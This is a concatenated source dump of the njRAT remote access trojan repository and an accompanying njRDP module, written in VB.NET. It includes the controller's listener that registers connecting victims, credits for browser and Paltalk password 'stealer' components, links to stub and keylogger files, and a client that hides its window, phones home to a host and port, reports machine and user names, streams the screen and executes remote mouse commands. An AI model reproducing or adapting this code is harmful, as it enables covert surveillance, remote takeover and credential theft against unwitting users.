DirectCast(objectValue, Bitmap) 53 | If (bitmap2.Height > height) Then 54 | Dim ptr As IntPtr 55 | bitmap2 = DirectCast(bitmap2.GetThumbnailImage(height, height, Nothing, ptr), Bitmap) 56 | End If 57 | Me.G.DrawImage(bitmap2, x, y) 58 | x = (x + (bitmap2.Width + 3)) 59 | ElseIf (str = GetType(String).ToString) Then 60 | Dim text As String = Conversions.ToString(RuntimeHelpers.GetObjectValue(objectValue)) 61 | Dim size As Size = TextRenderer.MeasureText([text], Me.font) 62 | Me.G.DrawString([text], Me.font, New Pen(white).Brush, CSng(x), CSng(y)) 63 | If ((size.Height - height) > 0) Then 64 | y = (y + (size.Height - height)) 65 | x = 3 66 | Else 67 | x = (x + (size.Width + 3)) 68 | End If 69 | ElseIf (str = GetType(Color).ToString) Then 70 | white = DirectCast(objectValue, Color) 71 | End If 72 | j += 1 73 | Loop 74 | y = (y + height) 75 | i = (i + -1) 76 | Loop 77 | Me.G.Dispose() 78 | Me.Image = image 79 | End SyncLock 80 | Me.T.Enabled = True 81 | Catch ex As Exception 82 | 83 | End Try 84 | 85 | End Sub 86 | 87 | Public Sub WRT(ByVal ParamArray A As Object()) 88 | Dim pp2 As Pp1 = Me 89 | SyncLock pp2 90 | Me.Lines.Add(A) 91 | If (Me.Lines.Count = 100) Then 92 | Me.Lines.RemoveAt(0) 93 | End If 94 | End SyncLock 95 | End Sub 96 | 97 | 98 | ' Properties 99 | Public Property T As Timer 100 | Get 101 | Return Me._T 102 | End Get 103 | _ 104 | Set(ByVal WithEventsValue As Timer) 105 | Dim handler As EventHandler = New EventHandler(AddressOf Me.ksh__4) 106 | If (Not Me._T Is Nothing) Then 107 | RemoveHandler Me._T.Tick, handler 108 | End If 109 | Me._T = WithEventsValue 110 | If (Not Me._T Is Nothing) Then 111 | AddHandler Me._T.Tick, handler 112 | End If 113 | End Set 114 | End Property 115 | 116 | 117 | ' Fields 118 | Private _T As Timer 119 | Public font As Font 120 | Public G As Graphics 121 | Public Lines As List(Of Object()) 122 | End Class 123 | 124 | 125 | 126 | -------------------------------------------------------------------------------- /njRAT/NjRAT/Modules/SK.vb: -------------------------------------------------------------------------------- 1 | Imports Microsoft.VisualBasic 2 | Imports Microsoft.VisualBasic.CompilerServices 3 | Imports System 4 | Imports System.Collections.Generic 5 | Imports System.Diagnostics 6 | Imports System.Drawing 7 | Imports System.Net.Sockets 8 | Imports System.Runtime.CompilerServices 9 | Imports System.Threading 10 | 11 | Namespace njRAT 12 | Public Class SK 13 | ' Methods 14 | Public Sub New(ByVal port As Integer) 15 | Me.S = New TcpListener(port) 16 | Me.S.Server.SendTimeout = -1 17 | Me.S.Server.ReceiveTimeout = -1 18 | Me.S.Server.SendBufferSize = &H80000 19 | Me.S.Server.ReceiveBufferSize = &H80000 20 | Me.S.Start(&H270F) 21 | ThreadPool.SetMinThreads(250, 250) 22 | ThreadPool.SetMaxThreads(250, 250) 23 | Me.Online = New Collection 24 | Me.REQ = New List(Of GClass12) 25 | Dim num As Integer = 0 26 | Do 27 | Me.S.BeginAcceptTcpClient(New AsyncCallback(AddressOf Me.accept), Nothing) 28 | num += 1 29 | Loop While (num <= 10) 30 | Dim parameter As Integer = 1 31 | Do 32 | Dim sukk As New Threading.Thread(New ParameterizedThreadStart(AddressOf Me.lam__7)) 33 | sukk.Start(parameter) 34 | parameter += 1 35 | Loop While (parameter <= &H10) 36 | End Sub 37 | Private Sub lam__7(ByVal object_0 As Object) 38 | Me.tp(Conversions.ToInteger(object_0)) 39 | End Sub 40 | 41 | Public Sub accept(ByVal ar As IAsyncResult) 42 | Try 43 | Dim item As Client = New Client(Me.S.EndAcceptTcpClient(ar), Me) 44 | item.Client.ReceiveTimeout = -1 45 | item.Client.SendTimeout = -1 46 | item.Client.SendBufferSize = 524288 47 | item.Client.ReceiveBufferSize = 524288 48 | If Class7.class8_0.bool_2 Then 49 | Class7.form1_0.Pp1.WRT(New Object() {Color.LightSteelBlue, Class6.smethod_13, item.COI, Color.GreenYellow, item.ip, "Connected"}) 50 | End If 51 | Dim online As Collection = Me.Online 52 | SyncLock online 53 | Me.Online.Add(item, item.ip, Nothing, Nothing) 54 | End SyncLock 55 | Catch exception1 As Exception 56 | End Try 57 | Thread.Sleep(1) 58 | Me.S.BeginAcceptTcpClient(New AsyncCallback(AddressOf Me.accept), Nothing) 59 | End Sub 60 | 61 | Public Function GetClient(ByVal ID As String) As Client 62 | Dim client As Client 63 | Dim online As Collection = Me.Online 64 | Monitor.Enter(online) 65 | Try 66 | client = DirectCast(Me.Online.Item(ID), Client) 67 | Catch exception1 As Exception 68 | client = Nothing 69 | Finally 70 | Monitor.Exit(online) 71 | End Try 72 | Return client 73 | End Function 74 | 75 | Public Sub tp(ByVal i As Integer) 76 | Do While True 77 | Thread.Sleep(1) 78 | Dim class2 As GClass12 = Nothing 79 | Dim rEQ As List(Of GClass12) = Me.REQ 80 | SyncLock rEQ 81 | If (Me.REQ.Count > 0) Then 82 | class2 = Me.REQ.Item(0) 83 | Me.REQ.RemoveAt(0) 84 | End If 85 | End SyncLock 86 | If (Not class2 Is Nothing) Then 87 | Class7.smethod_5(New Object() {class2.client_0, class2.byte_0}) 88 | class2.bool_0 = True 89 | End If 90 | Loop 91 | End Sub 92 | 93 | 94 | ' Fields 95 | Private bool_0 As Boolean = False 96 | Public Online As Collection = New Collection 97 | Public REQ As List(Of GClass12) 98 | Public S As TcpListener 99 | End Class 100 | End Namespace 101 | 102 | 103 | -------------------------------------------------------------------------------- /njRAT/NjRAT/My Project/Application.Designer.vb: -------------------------------------------------------------------------------- 1 | '------------------------------------------------------------------------------ 2 | ' 3 | ' This code was generated by a tool. 4 | ' Runtime Version:4.0.30319.34014 5 | ' 6 | ' Changes to this file may cause incorrect behavior and will be lost if 7 | ' the code is regenerated. 8 | ' 9 | '------------------------------------------------------------------------------ 10 | 11 | Option Strict On 12 | Option Explicit On 13 | 14 | 15 | Namespace My 16 | 17 | 'NOTE: This file is auto-generated; do not modify it directly. To make changes, 18 | ' or if you encounter build errors in this file, go to the Project Designer 19 | ' (go to Project Properties or double-click the My Project node in 20 | ' Solution Explorer), and make changes on the Application tab. 21 | ' 22 | Partial Friend Class MyApplication 23 | 24 | _ 25 | Public Sub New() 26 | MyBase.New(Global.Microsoft.VisualBasic.ApplicationServices.AuthenticationMode.Windows) 27 | Me.IsSingleInstance = false 28 | Me.EnableVisualStyles = true 29 | Me.SaveMySettingsOnExit = true 30 | Me.ShutDownStyle = Global.Microsoft.VisualBasic.ApplicationServices.ShutdownMode.AfterMainFormCloses 31 | End Sub 32 | 33 | _ 34 | Protected Overrides Sub OnCreateMainForm() 35 | Me.MainForm = Global.NJRAT.Form1 36 | End Sub 37 | End Class 38 | End Namespace 39 | -------------------------------------------------------------------------------- /njRAT/NjRAT/My Project/Application.myapp: -------------------------------------------------------------------------------- 1 |  2 | 3 | true 4 | Form1 5 | false 6 | 0 7 | true 8 | 0 9 | 0 10 | true 11 | 12 | -------------------------------------------------------------------------------- /njRAT/NjRAT/My Project/AssemblyInfo.vb: -------------------------------------------------------------------------------- 1 | Imports System 2 | Imports System.Reflection 3 | Imports System.Runtime.InteropServices 4 | 5 | ' General Information about an assembly is controlled through the following 6 | ' set of attributes. Change these attribute values to modify the information 7 | ' associated with an assembly. 8 | 9 | ' Review the values of the assembly attributes 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 'The following GUID is for the ID of the typelib if this project is exposed to COM 21 | 22 | 23 | ' Version information for an assembly consists of the following four values: 24 | ' 25 | ' Major Version 26 | ' Minor Version 27 | ' Build Number 28 | ' Revision 29 | ' 30 | ' You can specify all the values or you can default the Build and Revision Numbers 31 | ' by using the '*' as shown below: 32 | ' 33 | 34 | 35 | 36 | -------------------------------------------------------------------------------- /njRAT/NjRAT/My Project/Settings.Designer.vb: -------------------------------------------------------------------------------- 1 | '------------------------------------------------------------------------------ 2 | ' 3 | ' This code was generated by a tool. 4 | ' Runtime Version:4.0.30319.34014 5 | ' 6 | ' Changes to this file may cause incorrect behavior and will be lost if 7 | ' the code is regenerated. 8 | ' 9 | '------------------------------------------------------------------------------ 10 | 11 | Option Strict On 12 | Option Explicit On 13 | 14 | 15 | Namespace My 16 | 17 | _ 20 | Partial Friend NotInheritable Class MySettings 21 | Inherits Global.System.Configuration.ApplicationSettingsBase 22 | 23 | Private Shared defaultInstance As MySettings = CType(Global.System.Configuration.ApplicationSettingsBase.Synchronized(New MySettings()),MySettings) 24 | 25 | #Region "My.Settings Auto-Save Functionality" 26 | #If _MyType = "WindowsForms" Then 27 | Private Shared addedHandler As Boolean 28 | 29 | Private Shared addedHandlerLockObject As New Object 30 | 31 | _ 32 | Private Shared Sub AutoSaveSettings(ByVal sender As Global.System.Object, ByVal e As Global.System.EventArgs) 33 | If My.Application.SaveMySettingsOnExit Then 34 | My.Settings.Save() 35 | End If 36 | End Sub 37 | #End If 38 | #End Region 39 | 40 | Public Shared ReadOnly Property [Default]() As MySettings 41 | Get 42 | 43 | #If _MyType = "WindowsForms" Then 44 | If Not addedHandler Then 45 | SyncLock addedHandlerLockObject 46 | If Not addedHandler Then 47 | AddHandler My.Application.Shutdown, AddressOf AutoSaveSettings 48 | addedHandler = True 49 | End If 50 | End SyncLock 51 | End If 52 | #End If 53 | Return defaultInstance 54 | End Get 55 | End Property 56 | End Class 57 | End Namespace 58 | 59 | Namespace My 60 | 61 | _ 64 | Friend Module MySettingsProperty 65 | 66 | _ 67 | Friend ReadOnly Property Settings() As Global.NJRAT.My.MySettings 68 | Get 69 | Return Global.NJRAT.My.MySettings.Default 70 | End Get 71 | End Property 72 | End Module 73 | End Namespace 74 | -------------------------------------------------------------------------------- /njRAT/NjRAT/My Project/Settings.settings: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | 7 | 8 | -------------------------------------------------------------------------------- /njRAT/NjRAT/My Project/app.manifest: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | 7 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 57 | 58 | 59 | -------------------------------------------------------------------------------- /njRAT/NjRAT/NJRAT 2.vshost.exe.config: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | -------------------------------------------------------------------------------- /njRAT/NjRAT/NJRAT.exe.config: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | -------------------------------------------------------------------------------- /njRAT/NjRAT/NJRAT.vshost.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/njRAT/539aa13375473d9c9bf74e81e65bb34bdb348a30/njRAT/NjRAT/NJRAT.vshost.exe -------------------------------------------------------------------------------- /njRAT/NjRAT/NJRAT.vshost.exe.config: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | -------------------------------------------------------------------------------- /njRAT/NjRAT/NJRAT.vshost.exe.manifest: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | 7 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 57 | 58 | 59 | -------------------------------------------------------------------------------- /njRAT/NjRAT/NJRAT.xml: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | NJRAT 6 | 7 | 8 | 9 | 10 | 11 | Returns the cached ResourceManager instance used by this class. 12 | 13 | 14 | 15 | Overrides the current thread's CurrentUICulture property for all 16 | resource lookups using this strongly typed resource class. 17 | 18 | 19 | 20 | Looks up a localized resource of type System.Drawing.Bitmap. 21 | 22 | 23 | 24 | Looks up a localized resource of type System.Drawing.Bitmap. 25 | 26 | 27 | 28 | Looks up a localized resource of type System.Drawing.Bitmap. 29 | 30 | 31 | 32 | Looks up a localized resource of type System.Drawing.Bitmap. 33 | 34 | 35 | 36 | Looks up a localized resource of type System.Drawing.Icon similar to (Icon). 37 | 38 | 39 | 40 | Looks up a localized resource of type System.Drawing.Bitmap. 41 | 42 | 43 | 44 | Looks up a localized string similar to {5} 45 | {6} 46 | PC : {0} 47 | USR : {1} 48 | OS : {2} 49 | CO : {3} 50 | VR : {4}. 51 | 52 | 53 | 54 | Looks up a localized string similar to Project : njRat 55 | Verison : 0.7d 56 | Coded By : njq8 57 | FireFox Stealer : DarkSel 58 | Paltalk Stealer : pr0t0fag 59 | Chrome Stealer : RockingWithTheBest 60 | Opera Stealer : Black-Blood, KingCobra 61 | Icon Changer : Miharbi 62 | WinMM.Net : John Gietzen 63 | Thnx To : MaSad ,CoBrAxXx 64 | Twitter : https://twitter.com/njq8. 65 | 66 | 67 | 68 | A strongly-typed resource class, for looking up localized strings, etc. 69 | 70 | 71 | 72 | -------------------------------------------------------------------------------- /njRAT/NjRAT/NjRat.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Express 2012 for Windows Desktop 4 | Project("{F184B08F-C81C-45F6-A57F-5ABD9991F28F}") = "NjRat", "NjRat.vbproj", "{75B9CB49-03B1-4EFE-B100-CB83C232D62E}" 5 | EndProject 6 | Global 7 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 8 | Debug|Any CPU = Debug|Any CPU 9 | Release|Any CPU = Release|Any CPU 10 | EndGlobalSection 11 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 12 | {75B9CB49-03B1-4EFE-B100-CB83C232D62E}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 13 | {75B9CB49-03B1-4EFE-B100-CB83C232D62E}.Debug|Any CPU.Build.0 = Debug|Any CPU 14 | {75B9CB49-03B1-4EFE-B100-CB83C232D62E}.Release|Any CPU.ActiveCfg = Release|Any CPU 15 | {75B9CB49-03B1-4EFE-B100-CB83C232D62E}.Release|Any CPU.Build.0 = Release|Any CPU 16 | EndGlobalSection 17 | GlobalSection(SolutionProperties) = preSolution 18 | HideSolutionNode = FALSE 19 | EndGlobalSection 20 | EndGlobal 21 | -------------------------------------------------------------------------------- /njRAT/NjRAT/Referencias/WinMM.Net.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/njRAT/539aa13375473d9c9bf74e81e65bb34bdb348a30/njRAT/NjRAT/Referencias/WinMM.Net.dll -------------------------------------------------------------------------------- /njRAT/NjRAT/Resources/JPEG.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/njRAT/539aa13375473d9c9bf74e81e65bb34bdb348a30/njRAT/NjRAT/Resources/JPEG.png -------------------------------------------------------------------------------- /njRAT/NjRAT/Resources/bullet_arrow_down.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/njRAT/539aa13375473d9c9bf74e81e65bb34bdb348a30/njRAT/NjRAT/Resources/bullet_arrow_down.png -------------------------------------------------------------------------------- /njRAT/NjRAT/Resources/bullet_arrow_up.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/njRAT/539aa13375473d9c9bf74e81e65bb34bdb348a30/njRAT/NjRAT/Resources/bullet_arrow_up.png -------------------------------------------------------------------------------- /njRAT/NjRAT/Resources/control_pause_blue.bmp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/njRAT/539aa13375473d9c9bf74e81e65bb34bdb348a30/njRAT/NjRAT/Resources/control_pause_blue.bmp -------------------------------------------------------------------------------- /njRAT/NjRAT/Resources/control_play_blue.bmp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/njRAT/539aa13375473d9c9bf74e81e65bb34bdb348a30/njRAT/NjRAT/Resources/control_play_blue.bmp -------------------------------------------------------------------------------- /njRAT/NjRAT/Resources/icon.Ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/njRAT/539aa13375473d9c9bf74e81e65bb34bdb348a30/njRAT/NjRAT/Resources/icon.Ico -------------------------------------------------------------------------------- /njRAT/NjRAT/app.config: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | -------------------------------------------------------------------------------- /njRAT/NjRAT/icon.Ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/njRAT/539aa13375473d9c9bf74e81e65bb34bdb348a30/njRAT/NjRAT/icon.Ico -------------------------------------------------------------------------------- /njRAT/Stub/A.vb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/njRAT/539aa13375473d9c9bf74e81e65bb34bdb348a30/njRAT/Stub/A.vb -------------------------------------------------------------------------------- /njRAT/Stub/Kl.vb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/njRAT/539aa13375473d9c9bf74e81e65bb34bdb348a30/njRAT/Stub/Kl.vb -------------------------------------------------------------------------------- /njRAT/Stub/OK.VB: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/njRAT/539aa13375473d9c9bf74e81e65bb34bdb348a30/njRAT/Stub/OK.VB -------------------------------------------------------------------------------- /njRDP/Client/Client.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 10.00 3 | # Visual Studio 2008 4 | Project("{F184B08F-C81C-45F6-A57F-5ABD9991F28F}") = "Client", "Client\Client.vbproj", "{A18CA00F-13A8-4078-98BF-27DC46BFB104}" 5 | EndProject 6 | Global 7 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 8 | Debug|Any CPU = Debug|Any CPU 9 | Release|Any CPU = Release|Any CPU 10 | EndGlobalSection 11 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 12 | {A18CA00F-13A8-4078-98BF-27DC46BFB104}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 13 | {A18CA00F-13A8-4078-98BF-27DC46BFB104}.Debug|Any CPU.Build.0 = Debug|Any CPU 14 | {A18CA00F-13A8-4078-98BF-27DC46BFB104}.Release|Any CPU.ActiveCfg = Release|Any CPU 15 | {A18CA00F-13A8-4078-98BF-27DC46BFB104}.Release|Any CPU.Build.0 = Release|Any CPU 16 | EndGlobalSection 17 | GlobalSection(SolutionProperties) = preSolution 18 | HideSolutionNode = FALSE 19 | EndGlobalSection 20 | EndGlobal 21 | -------------------------------------------------------------------------------- /njRDP/Client/Client/Client.vbproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | Debug 5 | AnyCPU 6 | 9.0.30729 7 | 2.0 8 | {A18CA00F-13A8-4078-98BF-27DC46BFB104} 9 | WinExe 10 | Client.My.MyApplication 11 | Client 12 | Client 13 | 512 14 | WindowsForms 15 | v2.0 16 | On 17 | Binary 18 | Off 19 | On 20 | 21 | 22 | true 23 | full 24 | true 25 | true 26 | bin\Debug\ 27 | 28 | 29 | 42016,41999,42017,42018,42019,42032,42036,42020,42021,42022 30 | true 31 | 32 | 33 | pdbonly 34 | false 35 | true 36 | true 37 | bin\Release\ 38 | 39 | 40 | 42016,41999,42017,42018,42019,42032,42036,42020,42021,42022 41 | true 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | Form 65 | 66 | 67 | Form1.vb 68 | Form 69 | 70 | 71 | 72 | 73 | True 74 | Application.myapp 75 | 76 | 77 | True 78 | True 79 | Resources.resx 80 | 81 | 82 | True 83 | Settings.settings 84 | True 85 | 86 | 87 | 88 | 89 | 90 | Form1.vb 91 | 92 | 93 | VbMyResourcesResXFileCodeGenerator 94 | Resources.Designer.vb 95 | My.Resources 96 | Designer 97 | 98 | 99 | 100 | 101 | MyApplicationCodeGenerator 102 | Application.Designer.vb 103 | 104 | 105 | SettingsSingleFileGenerator 106 | My 107 | Settings.Designer.vb 108 | 109 | 110 | 111 | 118 | -------------------------------------------------------------------------------- /njRDP/Client/Client/Form1.Designer.vb: -------------------------------------------------------------------------------- 1 |  _ 2 | Partial Class Form1 3 | Inherits System.Windows.Forms.Form 4 | 5 | 'Form overrides dispose to clean up the component list. 6 | _ 7 | Protected Overrides Sub Dispose(ByVal disposing As Boolean) 8 | Try 9 | If disposing AndAlso components IsNot Nothing Then 10 | components.Dispose() 11 | End If 12 | Finally 13 | MyBase.Dispose(disposing) 14 | End Try 15 | End Sub 16 | 17 | 'Required by the Windows Form Designer 18 | Private components As System.ComponentModel.IContainer 19 | 20 | 'NOTE: The following procedure is required by the Windows Form Designer 21 | 'It can be modified using the Windows Form Designer. 22 | 'Do not modify it using the code editor. 23 | _ 24 | Private Sub InitializeComponent() 25 | Me.SuspendLayout() 26 | ' 27 | 'Form1 28 | ' 29 | Me.AutoScaleDimensions = New System.Drawing.SizeF(6.0!, 13.0!) 30 | Me.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font 31 | Me.ClientSize = New System.Drawing.Size(301, 107) 32 | Me.Name = "Form1" 33 | Me.Text = "Form1" 34 | Me.ResumeLayout(False) 35 | 36 | End Sub 37 | 38 | End Class 39 | -------------------------------------------------------------------------------- /njRDP/Client/Client/Form1.vb: -------------------------------------------------------------------------------- 1 | Public Class Form1 2 | Public WithEvents C As New SocketClient 3 | Public Yy As String = "\nJ\." 4 | Public HOST As String = "localhost" 5 | Public port As Integer = 8989 6 | Public cap As New CRDP 7 | Private Sub Form1_FormClosing(ByVal sender As Object, ByVal e As System.Windows.Forms.FormClosingEventArgs) Handles Me.FormClosing 8 | End 9 | End Sub 10 | Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load 11 | Me.FormBorderStyle = Windows.Forms.FormBorderStyle.None 12 | Me.ShowInTaskbar = False 13 | Me.Hide() 14 | Me.Visible = False 15 | C.Connect(HOST, port) 16 | End Sub 17 | #Region "Socket Events" 18 | Private Sub Connected() Handles C.Connected 19 | 20 | End Sub 21 | Private Sub Disconnected() Handles C.Disconnected 22 | ' Reconnect 23 | C.Connect(HOST, port) 24 | End Sub 25 | Private Sub Data(ByVal b As Byte()) Handles C.Data 26 | Dim T As String = BS(b) 27 | Dim A As String() = Split(T, Yy) 28 | Try 29 | Select Case A(0) 30 | Case "~" ' server ask me what is my pc name 31 | Dim pc As String = Environment.MachineName & "/" & Environment.UserName 32 | C.Send("~" & Yy & pc) 33 | Case "!" ' server ask for my screen Size 34 | cap.Clear() 35 | Dim s = Screen.PrimaryScreen.Bounds.Size 36 | C.Send("!" & Yy & s.Width & Yy & s.Height) 37 | Case "@" ' Start Capture 38 | Dim SizeOfimage As Integer = A(1) 39 | Dim Split As Integer = A(2) 40 | Dim Quality As Integer = A(3) 41 | 42 | Dim Bb As Byte() = cap.Cap(SizeOfimage, Split, Quality) 43 | Dim M As New IO.MemoryStream 44 | Dim CMD As String = "@" & Yy 45 | M.Write(SB(CMD), 0, CMD.Length) 46 | M.Write(Bb, 0, Bb.Length) 47 | C.Send(M.ToArray) 48 | M.Dispose() 49 | Case "#" ' mouse clicks 50 | Cursor.Position = New Point(A(1), A(2)) 51 | mouse_event(A(3), 0, 0, 0, 1) 52 | Case "$" ' mouse move 53 | Cursor.Position = New Point(A(1), A(2)) 54 | Case "close" 55 | End 56 | End Select 57 | Catch ex As Exception 58 | End Try 59 | 60 | End Sub 61 | #End Region 62 | End Class 63 | -------------------------------------------------------------------------------- /njRDP/Client/Client/Func.vb: -------------------------------------------------------------------------------- 1 | Module Func 2 | Declare Sub mouse_event Lib "user32" Alias "mouse_event" (ByVal dwFlags As Integer, ByVal dx As Integer, ByVal dy As Integer, ByVal cButtons As Integer, ByVal dwExtraInfo As Integer) 3 | Function SB(ByVal s As String) As Byte() ' string to byte() 4 | Return System.Text.Encoding.Default.GetBytes(s) 5 | End Function 6 | Function BS(ByVal b As Byte()) As String ' byte() to string 7 | Return System.Text.Encoding.Default.GetString(b) 8 | End Function 9 | Function fx(ByVal b As Byte(), ByVal WRD As String) As Array ' split bytes by word 10 | Dim a As New List(Of Byte()) 11 | Dim M As New IO.MemoryStream 12 | Dim MM As New IO.MemoryStream 13 | Dim T As String() = Split(BS(b), WRD) 14 | M.Write(b, 0, T(0).Length) 15 | MM.Write(b, T(0).Length + WRD.Length, b.Length - (T(0).Length + WRD.Length)) 16 | a.Add(M.ToArray) 17 | a.Add(MM.ToArray) 18 | M.Dispose() 19 | MM.Dispose() 20 | Return a.ToArray 21 | End Function 22 | End Module 23 | -------------------------------------------------------------------------------- /njRDP/Client/Client/My Project/Application.Designer.vb: -------------------------------------------------------------------------------- 1 | '------------------------------------------------------------------------------ 2 | ' 3 | ' This code was generated by a tool. 4 | ' Runtime Version:2.0.50727.4961 5 | ' 6 | ' Changes to this file may cause incorrect behavior and will be lost if 7 | ' the code is regenerated. 8 | ' 9 | '------------------------------------------------------------------------------ 10 | 11 | Option Strict On 12 | Option Explicit On 13 | 14 | 15 | Namespace My 16 | 17 | 'NOTE: This file is auto-generated; do not modify it directly. To make changes, 18 | ' or if you encounter build errors in this file, go to the Project Designer 19 | ' (go to Project Properties or double-click the My Project node in 20 | ' Solution Explorer), and make changes on the Application tab. 21 | ' 22 | Partial Friend Class MyApplication 23 | 24 | _ 25 | Public Sub New() 26 | MyBase.New(Global.Microsoft.VisualBasic.ApplicationServices.AuthenticationMode.Windows) 27 | Me.IsSingleInstance = false 28 | Me.EnableVisualStyles = true 29 | Me.SaveMySettingsOnExit = true 30 | Me.ShutDownStyle = Global.Microsoft.VisualBasic.ApplicationServices.ShutdownMode.AfterMainFormCloses 31 | End Sub 32 | 33 | _ 34 | Protected Overrides Sub OnCreateMainForm() 35 | Me.MainForm = Global.Client.Form1 36 | End Sub 37 | End Class 38 | End Namespace 39 | -------------------------------------------------------------------------------- /njRDP/Client/Client/My Project/Application.myapp: -------------------------------------------------------------------------------- 1 |  2 | 3 | true 4 | Form1 5 | false 6 | 0 7 | true 8 | 0 9 | 0 10 | true 11 | 12 | -------------------------------------------------------------------------------- /njRDP/Client/Client/My Project/AssemblyInfo.vb: -------------------------------------------------------------------------------- 1 | Imports System 2 | Imports System.Reflection 3 | Imports System.Runtime.InteropServices 4 | 5 | ' General Information about an assembly is controlled through the following 6 | ' set of attributes. Change these attribute values to modify the information 7 | ' associated with an assembly. 8 | 9 | ' Review the values of the assembly attributes 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 'The following GUID is for the ID of the typelib if this project is exposed to COM 21 | 22 | 23 | ' Version information for an assembly consists of the following four values: 24 | ' 25 | ' Major Version 26 | ' Minor Version 27 | ' Build Number 28 | ' Revision 29 | ' 30 | ' You can specify all the values or you can default the Build and Revision Numbers 31 | ' by using the '*' as shown below: 32 | ' 33 | 34 | 35 | 36 | -------------------------------------------------------------------------------- /njRDP/Client/Client/My Project/Resources.Designer.vb: -------------------------------------------------------------------------------- 1 | '------------------------------------------------------------------------------ 2 | ' 3 | ' This code was generated by a tool. 4 | ' Runtime Version:2.0.50727.4961 5 | ' 6 | ' Changes to this file may cause incorrect behavior and will be lost if 7 | ' the code is regenerated. 8 | ' 9 | '------------------------------------------------------------------------------ 10 | 11 | Option Strict On 12 | Option Explicit On 13 | 14 | 15 | Namespace My.Resources 16 | 17 | 'This class was auto-generated by the StronglyTypedResourceBuilder 18 | 'class via a tool like ResGen or Visual Studio. 19 | 'To add or remove a member, edit your .ResX file then rerun ResGen 20 | 'with the /str option, or rebuild your VS project. 21 | ' 22 | ' A strongly-typed resource class, for looking up localized strings, etc. 23 | ' 24 | _ 28 | Friend Module Resources 29 | 30 | Private resourceMan As Global.System.Resources.ResourceManager 31 | 32 | Private resourceCulture As Global.System.Globalization.CultureInfo 33 | 34 | ' 35 | ' Returns the cached ResourceManager instance used by this class. 36 | ' 37 | _ 38 | Friend ReadOnly Property ResourceManager() As Global.System.Resources.ResourceManager 39 | Get 40 | If Object.ReferenceEquals(resourceMan, Nothing) Then 41 | Dim temp As Global.System.Resources.ResourceManager = New Global.System.Resources.ResourceManager("Client.Resources", GetType(Resources).Assembly) 42 | resourceMan = temp 43 | End If 44 | Return resourceMan 45 | End Get 46 | End Property 47 | 48 | ' 49 | ' Overrides the current thread's CurrentUICulture property for all 50 | ' resource lookups using this strongly typed resource class. 51 | ' 52 | _ 53 | Friend Property Culture() As Global.System.Globalization.CultureInfo 54 | Get 55 | Return resourceCulture 56 | End Get 57 | Set(ByVal value As Global.System.Globalization.CultureInfo) 58 | resourceCulture = value 59 | End Set 60 | End Property 61 | End Module 62 | End Namespace 63 | -------------------------------------------------------------------------------- /njRDP/Client/Client/My Project/Settings.Designer.vb: -------------------------------------------------------------------------------- 1 | '------------------------------------------------------------------------------ 2 | ' 3 | ' This code was generated by a tool. 4 | ' Runtime Version:2.0.50727.4961 5 | ' 6 | ' Changes to this file may cause incorrect behavior and will be lost if 7 | ' the code is regenerated. 8 | ' 9 | '------------------------------------------------------------------------------ 10 | 11 | Option Strict On 12 | Option Explicit On 13 | 14 | 15 | Namespace My 16 | 17 | _ 20 | Partial Friend NotInheritable Class MySettings 21 | Inherits Global.System.Configuration.ApplicationSettingsBase 22 | 23 | Private Shared 